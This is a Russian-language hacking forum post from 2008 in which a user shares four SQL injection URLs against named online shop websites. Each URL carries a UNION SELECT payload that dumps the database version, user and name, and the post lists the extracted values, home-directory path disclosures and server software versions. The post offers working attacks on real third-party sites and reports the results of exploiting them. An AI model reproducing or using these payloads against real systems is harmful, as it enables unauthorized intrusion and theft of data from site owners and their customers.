
03.07.2008, 06:09
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
маленькая порция от меня=)
PR 5
http://www.shop.oxfordancestors.com/index.php?cat_id=-6+union+select+concat_ws(0x3a3a,version(),user(),d atabase()),2,3,4,5,6,7,8/*&catname='5%20Gifts'
version(): 4.0.27-standard
user(): conway_oxanshop@localhost
database(): conway_oashop
так же есть раскрытие путей до домашней папки:
/hsphere/local/home/conway/shop.oxfordancestors.com/index.php
Apache/1.3.34
PR 4
http://www.ianshop.com/shop_category.php?cat_id=-4+union+select+concat_ws(0x3a3a,version(),user(),d atabase())--
version(): 5.0.51a-community
user(): ianshop@localhost
database(): ianshop_wordpress
есть раскрытие путей до домашнего каталога:
/home/ianshop/public_html/shop_category.php
Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.7a mod_bwlimited/1.4 PHP/5.2.6
PR 1
http://www.dilemma.ru/shop/shop_display_products.php?cat_id=282222+union+sele ct+concat(version(),0x3a3a,user(),0x3a3a,database( )),2,3,4,5,6,7,8/*
version(): 5.0.45-log
user(): u8509@10.10.223.235
database(): u8509
PR N/A
https://secure6.eliteukserve.net/philip19secure/shop-us/products.php?cat_id=-1+union+select+1,2,3,unhex(hex(concat_ws(0x3a3a,ve rsion(),user(),database()))),5,6,7,8,9/*
version(): 4.1.16-standard
user(): philip19_db1_rt@europa.eliteukserve.net
database(): philip19_db1
|
|
|